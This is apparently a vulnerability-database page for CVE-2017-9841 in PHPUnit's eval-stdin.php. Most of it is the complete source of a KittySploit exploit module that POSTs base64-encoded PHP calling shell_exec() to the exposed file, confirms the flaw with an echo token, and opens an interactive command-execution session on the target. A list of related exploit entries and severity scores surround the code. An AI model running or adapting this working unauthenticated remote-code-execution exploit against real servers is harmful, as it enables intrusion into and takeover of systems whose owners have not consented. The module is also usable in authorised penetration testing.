PHPUnit - eval-stdin.php RCE (CVE-2017-9841)
| Reporter | Title | Published | Views | Family All 113 |
|---|---|---|---|---|
| PHP Unit 4.8.28 - Remote Code Execution (Unauthenticated) Exploit | 2 Feb 202200:00 | – | zdt | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 30 Aug 202512:59 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 11 Jun 202605:59 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 13 Mar 202307:42 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 11 Jun 202605:59 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 20 Mar 202207:01 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 8 Oct 202620:52 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 4 Jul 202116:15 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 4 Jul 202116:15 | – | githubexploit | |
| Exploit for Code Injection in Phpunit_Project Phpunit | 1 Mar 202614:44 | – | githubexploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PHPUnit eval-stdin.php unauthenticated RCE (CVE-2017-9841) — opens execute session."""
import base64
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'PHPUnit - eval-stdin.php RCE (CVE-2017-9841)',
'description': (
'Exploits CVE-2017-9841 by POSTing PHP to eval-stdin.php. Opens an interactive '
'execute session via shell_exec().'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2017-9841'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2017-9841'],
'tags': ['phpunit', 'rce', 'unauth', 'kev', 'cve-2017-9841'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2017_9841_detect'],
},
},
}
path = OptString(
'/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php',
'Path to eval-stdin.php',
required=False,
)
def _url(self) -> str:
p = str(self.path or '').strip() or '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php'
if not p.startswith('/'):
p = '/' + p
return p
def execute(self, cmd: str) -> str:
b64 = base64.b64encode(str(cmd).encode()).decode()
payload = (
'<?php $c=base64_decode("' + b64 + '");'
'echo shell_exec($c); ?>'
)
r = self.http_request(
method='POST',
path=self._url(),
data=payload,
headers={'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*'},
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def check(self):
token = self.random_text(8)
body = self.execute(f'echo {token}')
if token in (body or ''):
return {'vulnerable': True, 'reason': 'CVE-2017-9841 confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'No echo output', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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10 Aug 2026 06:19Current
8.3High risk
Vulners AI Score8.3
CVSS 27.5
CVSS 3.19.8
EPSS0.99999
SSVC